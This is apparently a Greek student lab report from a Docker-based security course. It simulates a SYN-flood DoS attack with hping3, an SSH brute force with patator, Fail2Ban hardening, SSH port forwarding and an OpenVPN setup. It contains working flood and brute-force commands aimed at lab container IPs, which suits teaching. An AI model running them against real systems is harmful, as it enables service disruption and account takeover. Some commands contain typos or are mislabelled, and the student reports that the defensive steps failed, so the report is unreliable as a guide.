1. Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack
1.1. Docker
To Docker είναι μια πλατφόρμα λογισμικού ανοιχτού κώδικα που υλοποιεί Εικονικοποίηση (Virtualization) σε επίπεδο Λειτουργικού Συστήματος. Tο Docker προσφέρει αυτοματοποιημένες διαδικασίες για την ανάπτυξη εφαρμογών σε απομονωμένες Περιοχές Χρήστη (User Spaces) που ονομάζονται Software Containers.Το λογισμικό χρησιμοποιεί τεχνολογιές του πυρήνα του Linux όπως τα cgroups και οι χώροι ονομάτων πυρήνα (kernel namespaces), για να επιτρέπει σε ανεξάρτητα software containers να εκτελούνται στο ίδιο λειτουργικό σύστημα.
Περισσότερες πληροφορίες για το docker υπάρχουν στην ιστοσελίδα : https://en.wikipedia.org/wiki/Docker_(software)
Σύμφωνα με τις οδηγίες κατεβάζουμε από την ιστοσελίδα του εργαστηρίου http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html και εγκαθιστούμε στον υπολογιστή μας το Docker.
Αρχικά δημιουργούμε σμήνος (swarm) από το Docker με τις ακόλουθες εντολές:
../install/usr/share/swarmlab.io/sec/swarmlab-sec create
Δημιουργία 4 cluster
../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=4
Σύνδεση ως master
../install/usr/share/swarmlab.io/sec/swarmlab-sec login
Εύρεση του δικτύου του swarm
ifconfig
Ευρέση των ενεργών host
nmap -sP 172.19.0.*
Συνδεση στον worker_1
ssh docker@172.19.0.3
Στην συνέχεια προχωράμε στην επίθεση και εκτελούμε την παρακάτω εντολή αφού πρώτα εγκαταστήσουμε το hping3 με τις παρακάτω εντολές
sudo apt update sudo apt install hping3
sudo hping3 -c 12000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.19.0.3 όπου -c: o αριθμός των πακέτων που θα είναι 12000 + -d: το μέγεθος των πακέτων που θα είναι 120 bytes + -S: τα πακέτα SYN + -w: winsize (default 64) + -p: στόχος η πόρτα 80 + --flood: θα στέλνει γρήγορα πακέτα χωρίς να ενημερώνει πίσω + --rand-source: θα στέλνονται πακέτα με διαφορετικές source IP για να κρύψουμε την πραγματική + - destination IP 172.19.0.3 +
image:image/hping3-attack.png[] +
Για να δούμε την επίθεση που λαμβάνει ο worker_1 χρησιμοποιούμε την παρακάτω εντολή
sudo tcpdump -n -l
image: image/dos_attack.png[] +
Στην συνέχεια θα έπρεπε να δημιουργήσουμε iptables rules για την αντιμετώπιση των επιθέσεων αλλά δεν καταφερα να δημιουργήσω.
2. SSH Brute Force Attacks
Για την υλοποίηση αυτής της επίθεσης θα χρειαστούμε το πρόγραμμα patator οπότε τρέχουμε την παρακάτω εντολή:
sudo apt update sudo apt install patator
Δημιουργούμε ένα αρχείο password.txt που περίεχει κωδικούς ώστε να γίνει η επίθεση.
Πραγματοποιούμε την επίθεση με την παρακάτω εντολή
patator ssh_login host=172.19.0.3 user=docker password=FILE0 0=password.txt -x ignore:mesg='Authentication failed.'
Καταλαβαίνουμε οτι η επίθεση ήταν επιτυχής.
Στην συνέχεια κατεβάζουμε το Fail2Ban που προστατεύει τα συστήματα από ssh brute force attacks με τις εξής εντολές
sudo apt-get update sudo apt-get install fail2ban
Προχώραμε στην αντιγραφή τον δεδομένων από το jail.conf στο jail.local φάκελο με την εντολή
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
Αλλάζουμε τα δεδομένα στον φάκελο jail.local και προσθέτουμε τα παρακάτω στοιχεία
[sshd] + enable = true + port = ssh + filter = sshd + logpath = /var/log/auth.log maxretry = 3 + bantime = 3600 + οπού : - port : η πόρτα της υπηρεσίας ssh - logpath : το αρχείο καταγραφής - maxretry : ο μέγιστος αριθμός προσπαθείων - bantime : ο χρόνος απαγόρευσης εισόδου
Στη συνέχεια δοκιμάζουμε πάλι να ξανακάνουμε την επίθεση και θα παρατηρούσαμε οτί δεν θα μας αφήνε να συνεχίσουμε, δεν θα είχαμε προσβάση και θα έκανε ban τον χρήστη κάτι το οποίο δεν λείτουργησε στην δικία μου περίπτωση.
Ακόμα δεν κατάφερα να τροποποιήσω το ssh-server έτσι ώστε να επιτρέπει μόνο συνδέσεις μέσω key.
3. Local/Remote SSH Forwarding
Σε αυτό το ερώτημα έχω χρησιμοποιήσει άλλες IP οπώς φαίνεται στην παρακάτω εικόνα
Εγκαθιστούμε τον apache στο μηχάνημα μας
sudo apt install apache2
Τρέχουμε τον server
apacherctl start
Παρατηρούμε οτι η υπηρέσια μας τρέχει με την εντολή
sudo netstat -antlupe
Στην συνέχεια εκτελούμε την εντολή
ssh -nNT -L 8000:localhost:80 docker@172.21.0.3
Με αυτήν την εντολή στην ουσία φτιάχνουμε ενα ssh tunel μεταξύ των δυο μηχανημάτων όπου προωθούμε τα δεδομένα μας μέσω της πόρτας 8000 στην πόρτα 80.
curl localhost:8000
Έτσι βλέπουμε την ιστοσελίδα του apache
Στην συνέχεια για να κάνουμε το remote port forwarding εκτελούμε την εντολή
ssh -nNT -L 8002ocalhost:80 docker@172.21.0.3
Με αυτήν την εντολή στην ουσία φτιάχνουμε ενα ssh tunel μεταξύ των δυο μηχανημάτων και συνδεόμαστε για να δούμε το αποτέλεσμα με την εντολή
curl localhost:8002
Ετσί βλέπουμε την ιστοσελίδα του apache
4. VPN
Αρχικά δημιουργούμε εναν φακέλο vpn μέσα στο swarmlab-sec όπου εκεί δημιουργούμε ένα αρχείο create-vpn.sh
Στην συνέχεια αφού αλλάζουμε τα δικαιώματα (chmod 700) στο αρχείο τρέχουμε με την εντολή
./create-vpn.sh
Μέτα ακολουθεί η δημιουργία user οπού σε ένα αρχείο create-user.sh βάζουμε τα παρακάτω δεδομένα
Στην συνέχεια αφού αλλάζουμε τα δικαιώματα (chmod 700) στο αρχείο τρέχουμε με την εντολή
./create-user.sh
Αφού εκτελέσουμε το script αντικαθιστούμε στο αρχείο test1.vpn που βρίσκεται μέσα στο φάκελο /swarmlab-sec/vpn
Αντιγράφουμε το test1.vpn στο φάκελο project που υπάρχει στο swarmlab-sec. Στο αρχείο test1.vpn βαζούμε την δικία μας IP που χρησιμοποιούμε.
cp test1.ovpn ../myproj/project/test1.vpn
Εγκαθιστούμε και στο docker και στο swarm το openvpn
sudo apt update sudo apt install openvpn
Αφού συνδεόμαστε μέσα σε έναν worker εκτελούμε την εντολή
sudo openvpn --config ./test1.ovpn
Εκτελούμαι την εντολή ifconfig για να δούμε οτί όντως δημιουργήσαμε το vpn